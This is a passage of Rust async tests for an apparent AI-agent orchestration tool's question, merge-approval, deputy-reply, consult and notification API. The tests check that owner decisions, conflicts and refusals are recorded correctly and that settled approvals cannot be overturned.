10660            assert_eq!(disk.consult, q.consult);
10661            assert!(
10662                disk.answer_authority.is_none(),
10663                "a direct owner card is its own decision"
10664            );
10665            assert_eq!(disk.resolution().as_deref(), Some(choice));
10666            assert!(
10667                question_answer(
10668                    State(ui),
10669                    Path(q.id.clone()),
10670                    Ok(Json(NewAnswer {
10671                        choice: Some("merge".into()),
10672                        text: None
10673                    }))
10674                )
10675                .await
10676                .is_err(),
10677                "an already settled decision cannot turn into merge approval"
10678            );
10679        }
10680    }
10681
10682    #[tokio::test]
10683    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10684        let fx = Fixture {
10685            home: TempDir::new().unwrap(),
10686            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10687        };
10688        let mut state = crate::land::tests::repair_state(true, true);
10689        state.status = RunStatus::Landing;
10690        state.parked = true;
10691        state.driver_exited = true;
10692        let mut task = Task::new(
10693            "Existing PR owner".into(),
10694            state.instruction.clone(),
10695            state.repo.clone(),
10696            Source::Human,
10697        );
10698        task.runs.push(state.id.clone());
10699        task.status = TaskStatus::Parked;
10700        fx.queue().put(&mut task).unwrap();
10701        let mut q = Question::new(
10702            state.id.clone(),
10703            crate::land::APPROVAL_NODE.into(),
10704            "land".into(),
10705            "Contested merge".into(),
10706            "Original evidence".into(),
10707            vec!["merge".into(), "hold".into()],
10708        );
10709        state.land_approval = Some(crate::run::LandApproval {
10710            question: q.id.clone(),
10711            head: "reviewed-head".into(),
10712        });
10713        state.save_under(fx.home.path()).unwrap();
10714        fx.questions().put(&mut q).unwrap();
10715        // A later repair answer on this old card supersedes this manual hold.
10716        task.hold_manual(Some("Pause this PR".into()));
10717        fx.queue().put(&mut task).unwrap();
10718        // POST directly, without a preceding GET: validation must see the
10719        // same durable upgrade that the card, CLI and chat see.
10720        let ui = Arc::new(Ui::new(
10721            fx.queue(),
10722            fx.questions(),
10723            fx.talks(),
10724            fx.runs(),
10725            fx.home.path().to_path_buf(),
10726            state.repo.clone(),
10727        ));
10728        let response = question_answer(
10729            State(ui),
10730            Path(q.id.clone()),
10731            Ok(Json(NewAnswer {
10732                choice: Some(crate::land::REPAIR.into()),
10733                text: None,
10734            })),
10735        )
10736        .await
10737        .unwrap();
10738        assert_eq!(response.0.question.id, q.id);
10739        let upgraded = fx.questions().get(&q.id).unwrap();
10740        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10741        assert!(upgraded.detail.starts_with("Original evidence"));
10742        let claim = fx.queue().claim(&task.id).unwrap();
10743        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10744        assert!(
10745            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10746            "an existing driver keeps its claim"
10747        );
10748        drop(claim);
10749        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10750        let resumed = fx.queue().get(&task.id).unwrap();
10751        assert_eq!(
10752            resumed
10753                .resume_override
10754                .as_ref()
10755                .unwrap()
10756                .pinned_run
10757                .as_deref(),
10758            Some(state.id.as_str())
10759        );
10760        assert!(resumed.status.runnable());
10761        assert_eq!(resumed.instruction, task.instruction);
10762        assert_eq!(resumed.runs, task.runs);
10763        assert!(resumed.action_applied(&q.id));
10764        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10765        assert_eq!(fx.queue().list().len(), 1);
10766        assert_eq!(
10767            fx.queue().get(&task.id).unwrap().resume_override,
10768            resumed.resume_override
10769        );
10770        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10771        assert!(
10772            disk.merge_repairs.is_empty(),
10773            "only the claimed run driver may execute repair"
10774        );
10775        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10776    }
10777
10778    #[tokio::test]
10779    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10780        let fx = Fixture::start().await;
10781        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10782        let path = format!("/api/questions/{id}/answer");
10783
10784        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10785        assert_eq!(res.status, 200, "{}", res.body);
10786        let body = res.json();
10787        assert_eq!(body["status"], "answered");
10788        assert_eq!(body["answer"]["choice"], "Redis");
10789
10790        // Answered from the terminal in between the list and the tap: the UI
10791        // must be able to tell this from a bad request, so it can show the
10792        // recorded answer instead of an error.
10793        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10794        assert_eq!(again.status, 409, "{}", again.body);
10795        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10796    }
10797
10798    #[tokio::test]
10799    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10800        let home = tempfile::tempdir().unwrap();
10801        let ui = delta_test_ui(home.path());
10802        let mut q = Question::new(
10803            "task".into(),
10804            crate::land::APPROVAL_NODE.into(),
10805            "land".into(),
10806            "Explain?".into(),
10807            String::new(),
10808            vec!["hold".into()],
10809        );
10810        q.deputy = Some(ask::Deputy::new("context".into()));
10811        ui.questions.put(&mut q).unwrap();
10812        let mut cfg = stub_config();
10813        cfg.daemon.max_deputies = 0;
10814        let mut status = crate::daemon::Status::new();
10815        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10816        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10817        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10818        let error = question_say(
10819            State(ui.clone()),
10820            Path(q.id.clone()),
10821            Ok(Json(NewSay {
10822                body: "Explain the findings".into(),
10823            })),
10824        )
10825        .await
10826        .unwrap_err();
10827        assert_eq!(
10828            error.text_reason,
10829            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10830        );
10831        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10832
10833        let mut text = Question::new(
10834            "task".into(),
10835            "ask".into(),
10836            "operator".into(),
10837            "Which name?".into(),
10838            String::new(),
10839            vec![],
10840        );
10841        ui.questions.put(&mut text).unwrap();
10842        let Json(view) = question_answer(
10843            State(ui.clone()),
10844            Path(text.id.clone()),
10845            Ok(Json(NewAnswer {
10846                choice: None,
10847                text: Some("chosen name".into()),
10848            })),
10849        )
10850        .await
10851        .unwrap();
10852        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10853        assert!(!ui.questions.get(&text.id).unwrap().status.open());
10854    }
10855
10856    #[tokio::test]
10857    async fn question_text_handler_admission_without_transport() {
10858        let home = tempfile::tempdir().unwrap();
10859        let ui = delta_test_ui(home.path());
10860        let mut q = Question::new(
10861            "task".into(),
10862            crate::land::APPROVAL_NODE.into(),
10863            "land".into(),
10864            "May this PR merge?".into(),
10865            String::new(),
10866            vec!["hold".into()],
10867        );
10868        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10869        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10870        ui.questions.put(&mut q).unwrap();
10871        let say = || {
10872            Ok(Json(NewSay {
10873                body: "Explain the findings".into(),
10874            }))
10875        };
10876        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10877            .await
10878            .unwrap_err();
10879        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10880        let response = rejected.into_response();
10881        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10882            .await
10883            .unwrap();
10884        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10885        assert_eq!(body["code"], "question_text_unavailable");
10886        assert_eq!(body["reason"], "deputy_exhausted");
10887        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10888        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10889        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10890        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10891            .await
10892            .unwrap();
10893        assert_eq!(view.text_delivery.state, "live");
10894        assert!(view.question.waiter.is_none());
10895        assert!(view.question.cwd.is_none());
10896        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10897        ui.questions.drop_lease(&q.id);
10898        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10899            .await
10900            .unwrap_err();
10901        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10902        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10903        let _ = question_answer(
10904            State(ui.clone()),
10905            Path(q.id.clone()),
10906            Ok(Json(NewAnswer {
10907                choice: Some("hold".into()),
10908                text: None,
10909            })),
10910        )
10911        .await
10912        .unwrap();
10913        assert_eq!(
10914            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10915            Some("hold")
10916        );
10917    }
10918
10919    #[tokio::test]
10920    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10921        let fx = Fixture::start().await;
10922        let store = fx.questions();
10923        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10924        store
10925            .update(&id, |q| {
10926                q.node = crate::land::APPROVAL_NODE.to_owned();
10927                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10928                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10929                Ok(())
10930            })
10931            .unwrap();
10932        let path = format!("/api/questions/{id}/say");
10933        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10934        assert_eq!(refused.status, 422, "{}", refused.body);
10935        assert!(
10936            refused.json()["error"]
10937                .as_str()
10938                .unwrap()
10939                .contains("deputy_exhausted")
10940        );
10941        assert!(store.get(&id).unwrap().thread.is_empty());
10942
10943        // A final live deputy is usable even with no ordinary waiter/cwd.
10944        store.beat(&id, ask::WaiterKind::Deputy);
10945        let view = fx.get("/api/questions").await.json();
10946        assert_eq!(view[0]["text_delivery"]["state"], "live");
10947        let accepted = fx
10948            .post(&path, Some(r#"{"body":"explain the findings"}"#))
10949            .await;
10950        assert_eq!(accepted.status, 200, "{}", accepted.body);
10951        let before = std::fs::read(store.path_of(&id)).unwrap();
10952
10953        // The recipient exits between rendering and sending. Rejection must
10954        // preserve previously accepted text, the answer and delivery cursor.
10955        store.drop_lease(&id);
10956        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10957        assert_eq!(refused.status, 422, "{}", refused.body);
10958        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10959        let held = fx
10960            .post(
10961                &format!("/api/questions/{id}/answer"),
10962                Some(r#"{"choice":"hold"}"#),
10963            )
10964            .await;
10965        assert_eq!(held.status, 200, "{}", held.body);
10966        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10967    }
10968
10969    #[tokio::test]
10970    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10971        let repo = tempfile::tempdir().unwrap();
10972        let mut cfg = stub_config();
10973        cfg.daemon.max_deputies = 0;
10974        std::fs::write(
10975            repo.path().join("magi.toml"),
10976            toml::to_string(&cfg).unwrap(),
10977        )
10978        .unwrap();
10979        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10980        let mut status = crate::daemon::Status::new();
10981        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10982        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10983        let id = ask(&fx, "Explain?", &["hold"]);
10984        fx.questions()
10985            .update(&id, |q| {
10986                q.node = crate::land::APPROVAL_NODE.into();
10987                q.deputy = Some(ask::Deputy::new("context".into()));
10988                q.deputy.as_mut().unwrap().agent = "stub".into();
10989                Ok(())
10990            })
10991            .unwrap();
10992        cfg.daemon.max_deputies = 1;
10993        std::fs::write(
10994            repo.path().join("magi.toml"),
10995            toml::to_string(&cfg).unwrap(),
10996        )
10997        .unwrap();
10998        let view = fx.get("/api/questions").await.json();
10999        assert_eq!(view[0]["deputies_enabled"], true);
11000        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11001        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11002        let res = fx
11003            .post(
11004                &format!("/api/questions/{id}/say"),
11005                Some(r#"{"body":"Please explain"}"#),
11006            )
11007            .await;
11008        assert_eq!(res.status, 422, "{}", res.body);
11009        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11010    }
11011
11012    #[tokio::test]
11013    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11014        let fx = Fixture::start().await;
11015        let id = ask(&fx, "No seat", &[]);
11016        let store = fx.questions();
11017        let before = std::fs::read(store.path_of(&id)).unwrap();
11018        let res = fx
11019            .post(
11020                &format!("/api/questions/{id}/say"),
11021                Some(r#"{"body":"hello"}"#),
11022            )
11023            .await;
11024        assert_eq!(res.status, 422, "{}", res.body);
11025        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11026        let res = fx
11027            .post(
11028                &format!("/api/questions/{id}/answer"),
11029                Some(r#"{"text":"hello"}"#),
11030            )
11031            .await;
11032        assert_eq!(res.status, 200, "{}", res.body);
11033        assert_eq!(
11034            store.get(&id).unwrap().resolution().as_deref(),
11035            Some("hello")
11036        );
11037    }
11038
11039    #[tokio::test]
11040    async fn saying_something_appends_a_turn_without_answering() {
11041        let fx = Fixture::start().await;
11042        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11043        fx.questions().beat(&id, ask::WaiterKind::Asker);
11044        let path = format!("/api/questions/{id}/say");
11045
11046        let res = fx
11047            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11048            .await;
11049        assert_eq!(res.status, 200, "{}", res.body);
11050        let body = res.json();
11051        assert_eq!(body["status"], "open", "talking back is not a decision");
11052        assert_eq!(body["answer"], Value::Null);
11053        assert_eq!(body["thread"][0]["who"], "operator");
11054        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11055        assert_eq!(body["waiting_on_agent"], true);
11056        // Still open, still counted, still exactly one question.
11057        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11058    }
11059
11060    #[tokio::test]
11061    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11062        let fx = Fixture::start().await;
11063        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11064
11065        let list = fx.get("/api/questions").await.json();
11066        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11067
11068        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11069        assert_eq!(res.status, 409, "{}", res.body);
11070        let q = fx.questions().get(&id).unwrap();
11071        assert!(q.status.open());
11072        assert!(q.consult.is_none());
11073    }
11074
11075    #[tokio::test]
11076    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11077        let fx = Fixture::start().await;
11078        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11079        let cfg = Config {
11080            agents: vec![crate::config::AgentSpec {
11081                id: "mock".to_owned(),
11082                kind: crate::config::AgentKind::Command,
11083                model: None,
11084                command: vec!["true".to_owned()],
11085                extra_args: Vec::new(),
11086                env: Default::default(),
11087                prompt_delivery: None,
11088            }],
11089            ..Config::default()
11090        };
11091        let talk = crate::talk::begin(
11092            &fx.talks(),
11093            &cfg,
11094            fx.home.path().to_path_buf(),
11095            Some("mock"),
11096        )
11097        .unwrap();
11098        let mut task = Task::new(
11099            "t".to_owned(),
11100            "Do it".to_owned(),
11101            PathBuf::from("/repo/magi"),
11102            Source::Agent {
11103                run: talk.id.clone(),
11104                node: crate::queue::CHAT_NODE.to_owned(),
11105            },
11106        );
11107        task.start("20260902-000000-beef".to_owned());
11108        fx.queue().put(&mut task).unwrap();
11109
11110        let list = fx.get("/api/questions").await.json();
11111        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11112        assert_eq!(
11113            list[0]["choices"],
11114            serde_json::json!(["SQLite", "Redis"]),
11115            "the hand-over is never a choice"
11116        );
11117        fx.questions()
11118            .update(&id, |q| {
11119                q.node = crate::land::APPROVAL_NODE.into();
11120                q.choices = vec!["merge".into(), "hold".into()];
11121                Ok(())
11122            })
11123            .unwrap();
11124        let list = fx.get("/api/questions").await.json();
11125        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11126        assert_eq!(list[0]["can_consult_chat"], true);
11127        fx.questions()
11128            .update(&id, |q| {
11129                q.node = crate::bump::NOTICE_NODE.into();
11130                Ok(())
11131            })
11132            .unwrap();
11133        let list = fx.get("/api/questions").await.json();
11134        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11135        assert_eq!(list[0]["can_consult_chat"], false);
11136    }
11137
11138    #[tokio::test]
11139    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11140        let fx = Fixture::start().await;
11141        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11142        fx.questions()
11143            .update(&id, |q| {
11144                q.node = crate::land::APPROVAL_NODE.into();
11145                q.choices = vec!["merge".into(), "hold".into()];
11146                Ok(())
11147            })
11148            .unwrap();
11149        let cfg = Config {
11150            agents: vec![crate::config::AgentSpec {
11151                id: "mock".to_owned(),
11152                kind: crate::config::AgentKind::Command,
11153                model: None,
11154                command: vec!["true".to_owned()],
11155                extra_args: Vec::new(),
11156                env: Default::default(),
11157                prompt_delivery: None,
11158            }],
11159            ..Config::default()
11160        };
11161        // Not a git working tree, so its `magi.toml` is read from disk.
11162        let repo = fx.home.path().join("chat-repo");
11163        std::fs::create_dir_all(&repo).unwrap();
11164        let toml = repo.join("magi.toml");
11165        std::fs::write(&toml, "this is = = not toml").unwrap();
11166        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11167        let mut task = Task::new(
11168            "t".to_owned(),
11169            "Do it".to_owned(),
11170            PathBuf::from("/repo/magi"),
11171            Source::Agent {
11172                run: talk.id.clone(),
11173                node: crate::queue::CHAT_NODE.to_owned(),
11174            },
11175        );
11176        task.start("20260902-000000-beef".to_owned());
11177        fx.queue().put(&mut task).unwrap();
11178
11179        let path = format!("/api/questions/{id}/consult");
11180        let res = fx.post(&path, None).await;
11181        assert!(res.status >= 400, "{}", res.body);
11182        assert!(fx.questions().get(&id).unwrap().consult.is_none());
11183        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11184
11185        std::fs::write(&toml, "").unwrap();
11186        let res = fx.post(&path, None).await;
11187        assert_eq!(res.status, 202, "{}", res.body);
11188        assert!(fx.questions().get(&id).unwrap().consult.is_some());
11189        let q = fx.questions().get(&id).unwrap();
11190        assert!(q.status.open());
11191        assert!(q.answer.is_none());
11192        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11193        assert_eq!(res.json()["can_consult_chat"], true);
11194        let list = fx.get("/api/questions").await.json();
11195        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11196        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11197
11198        let res = fx
11199            .post(
11200                &format!("/api/questions/{id}/answer"),
11201                Some(r#"{"choice":"hold"}"#),
11202            )
11203            .await;
11204        assert_eq!(res.status, 200, "{}", res.body);
11205        assert_eq!(res.json()["answer"]["choice"], "hold");
11206        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11207        assert_eq!(res.json()["can_consult_chat"], false);
11208        assert_eq!(fx.post(&path, None).await.status, 409);
11209
11210        let mut talk = fx.talks().get(&talk.id).unwrap();
11211        crate::talk::close(&mut talk, &fx.talks()).unwrap();
11212        let list = fx.get("/api/questions").await.json();
11213        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11214        assert_eq!(list[0]["origin_chat_closed"], true);
11215        assert_eq!(list[0]["can_consult_chat"], false);
11216
11217        fx.talks().remove(&talk.id).unwrap();
11218        let list = fx.get("/api/questions").await.json();
11219        assert_eq!(list[0]["origin_chat"], Value::Null);
11220        assert_eq!(list[0]["origin_chat_closed"], false);
11221        assert_eq!(list[0]["can_consult_chat"], false);
11222    }
11223
11224    #[tokio::test]
11225    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11226        let fx = Fixture::start().await;
11227        let store = fx.questions();
11228        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11229        store.beat(&id, ask::WaiterKind::Asker);
11230        assert_eq!(
11231            fx.get("/api/health").await.json()["questions_needs_owner"],
11232            1
11233        );
11234
11235        // The owner asks back instead of deciding: the ask bar, the nav badge
11236        // and the title must stop naming this question, because there is
11237        // nothing to decide until the agent answers - `status` alone cannot
11238        // say that, which is the whole reason `questions_needs_owner` exists
11239        // alongside `questions_open`.
11240        let res = fx
11241            .post(
11242                &format!("/api/questions/{id}/say"),
11243                Some(r#"{"body":"why not Postgres?"}"#),
11244            )
11245            .await;
11246        assert_eq!(res.status, 200, "{}", res.body);
11247        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11248        assert_eq!(
11249            fx.get("/api/health").await.json()["questions_needs_owner"],
11250            0,
11251            "waiting on the agent is not waiting on the owner"
11252        );
11253
11254        // `magi ask --thread` replying is what brings the owner count back -
11255        // the same event that would resume the CLI call blocked in `magi
11256        // ask`.
11257        let mut q = store.get(&id).expect("get");
11258        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11259            .expect("reply");
11260        store.put(&mut q).expect("put");
11261        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11262        assert_eq!(
11263            fx.get("/api/health").await.json()["questions_needs_owner"],
11264            1,
11265            "the agent's reply is what should light the banner back up"
11266        );
11267    }
11268
11269    #[tokio::test]
11270    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11271        let fx = Fixture::start().await;
11272        let store = fx.questions();
11273
11274        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11275        let res = fx
11276            .post(
11277                &format!("/api/questions/{empty_id}/say"),
11278                Some(r#"{"body":"   "}"#),
11279            )
11280            .await;
11281        assert_eq!(res.status, 400, "{}", res.body);
11282
11283        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11284        let mut answered = store.get(&answered_id).expect("get");
11285        answered
11286            .answer(Answer::Choice("SQLite".to_owned()))
11287            .expect("answer");
11288        store.put(&mut answered).expect("put");
11289        let res = fx
11290            .post(
11291                &format!("/api/questions/{answered_id}/say"),
11292                Some(r#"{"body":"still there?"}"#),
11293            )
11294            .await;
11295        assert_eq!(res.status, 409, "{}", res.body);
11296
11297        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11298        let mut abandoned = store.get(&abandoned_id).expect("get");
11299        abandoned.abandon("timed out");
11300        store.put(&mut abandoned).expect("put");
11301        let res = fx
11302            .post(
11303                &format!("/api/questions/{abandoned_id}/say"),
11304                Some(r#"{"body":"still there?"}"#),
11305            )
11306            .await;
11307        assert_eq!(res.status, 409, "{}", res.body);
11308    }
11309
11310    #[tokio::test]
11311    async fn an_answer_the_question_does_not_offer_is_refused() {
11312        let fx = Fixture::start().await;
11313        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11314        let path = format!("/api/questions/{id}/answer");
11315
11316        for body in [
11317            r#"{"choice":"Postgres"}"#,
11318            r#"{"text":"whatever you think"}"#,
11319            r#"{"choice":"Redis","text":"both"}"#,
11320            r#"{}"#,
11321        ] {
11322            let res = fx.post(&path, Some(body)).await;
11323            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11324            assert!(res.json()["error"].is_string(), "{}", res.body);
11325        }
11326        // Nothing above may have answered it.
11327        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11328    }
11329
11330    #[tokio::test]
11331    async fn a_free_text_question_takes_text_and_not_a_choice() {
11332        let fx = Fixture::start().await;
11333        let id = ask(&fx, "What should the flag be called?", &[]);
11334        fx.questions().beat(&id, ask::WaiterKind::Asker);
11335        let path = format!("/api/questions/{id}/answer");
11336
11337        assert_eq!(
11338            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11339            400
11340        );
11341        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11342        assert_eq!(res.status, 200, "{}", res.body);
11343        assert_eq!(res.json()["answer"]["text"], "--json");
11344    }
11345
11346    #[tokio::test]
11347    async fn an_unknown_question_is_a_json_404() {
11348        let fx = Fixture::start().await;
11349        let res = fx
11350            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11351            .await;
11352        assert_eq!(res.status, 404, "{}", res.body);
11353        assert!(res.json()["error"].is_string());
11354    }
11355
11356    #[tokio::test]
11357    async fn notifications_list_read_dismiss_and_health_agree() {
11358        let fx = Fixture::start().await;
11359        let store = Notices::at(fx.home.path().join("notifications"));
11360        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11361        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11362
11363        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11364        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11365
11366        store
11367            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11368            .unwrap();
11369        let health = fx.get("/api/health").await.json();
11370        assert_eq!(health["notifications_unread"], 2);
11371        assert_ne!(
11372            health["notifications_rev"], rev0,
11373            "the badge must move live"
11374        );
11375
11376        let listed = fx.get("/api/notifications").await.json();
11377        assert_eq!(listed["unread"], 2);
11378        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11379        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11380
11381        let read = fx
11382            .post(&format!("/api/notifications/{}/read", a.id), None)
11383            .await;
11384        assert_eq!(read.status, 200, "{}", read.body);
11385        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11386
11387        let gone = fx
11388            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11389            .await;
11390        assert_eq!(gone.status, 200, "{}", gone.body);
11391        let listed = fx.get("/api/notifications").await.json();
11392        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11393        assert_eq!(listed["unread"], 0);
11394
11395        store.raise(Notice::info("x", "again")).unwrap();
11396        let all = fx.post("/api/notifications/read-all", None).await;
11397        assert_eq!(all.status, 200, "{}", all.body);
11398        assert_eq!(all.json()["marked"], 1);
11399        assert_eq!(
11400            fx.get("/api/health").await.json()["notifications_unread"],
11401            0
11402        );
11403
11404        let missing = fx.post("/api/notifications/nope/read", None).await;
11405        assert_eq!(missing.status, 404, "{}", missing.body);
11406        assert!(missing.json()["error"].is_string());
11407    }
11408
11409    /// New work reaches the queue through `magi task add`, a standing talk's
11410    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
11411    /// so the compose form and that route are gone. The tests that covered
11412    /// that route's validation went with it, and nothing was left asserting
11413    /// it stays gone — so a re-added handler would silently let the phone
11414    /// file briefs no one validated.
11415    #[tokio::test]
11416    async fn a_task_cannot_be_filed_over_the_phone_directly() {
11417        let f = Fixture::start().await;
11418
11419        let res = f
11420            .post(
11421                "/api/queue",
11422                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11423            )
11424            .await;
11425
11426        assert_eq!(
11427            res.status, 405,
11428            "POST /api/queue must not be a route: {}",
11429            res.body
11430        );
11431        assert!(
11432            f.queue().list().is_empty(),
11433            "a task filed by a route that does not exist must not reach the disk"
11434        );
11435        // The path itself is still served — the Queue view reads it — and the
11436        // per-task controls are untouched by the entry being removed.
11437        assert_eq!(f.get("/api/queue").await.status, 200);
11438    }
11439
11440    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
11441    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11442        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11443            .expect("checkout dir");
11444    }
11445
11446    /// Two command agents, so a config needs no real CLI.
11447    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11448
11449    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11450        let tmp = TempDir::new().expect("tempdir");
11451        let repo = tmp.path().join("repo");
11452        std::fs::create_dir_all(&repo).expect("repo dir");
11453        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11454        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11455        if let Some(text) = machine_toml {
11456            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11457            std::fs::write(&machine, text).expect("machine toml");
11458        }
11459        (tmp, repo, machine)
11460    }
11461
11462    async fn settings_checkout(path: &FsPath, text: &str) {
11463        std::fs::create_dir_all(path).unwrap();
11464        std::fs::write(path.join("magi.toml"), text).unwrap();
11465        for args in [
11466            vec!["init", "-b", "main"],
11467            vec!["add", "magi.toml"],
11468            vec![
11469                "-c",
11470                "user.name=Test",
11471                "-c",
11472                "user.email=test@example.invalid",
11473                "commit",
11474                "-m",
11475                "fixture",
11476            ],
11477            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11478            vec![
11479                "symbolic-ref",
11480                "refs/remotes/origin/HEAD",
11481                "refs/remotes/origin/main",
11482            ],
11483        ] {
11484            crate::git::git(path, &args).await.unwrap();
11485        }
11486    }
11487
11488    #[tokio::test]
11489    async fn settings_context_handlers_validate_and_save_without_a_socket() {
11490        let (tmp, repo, machine) =
11491            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11492        let root = tmp.path().join("roots");
11493        let selected = root.join("host/owner/selected");
11494        settings_checkout(
11495            &selected,
11496            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11497        )
11498        .await;
11499        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11500        let before = std::fs::read(&machine).unwrap();
11501        let ui = Arc::new(
11502            Ui::new(
11503                Queue::at(tmp.path().join("queue")),
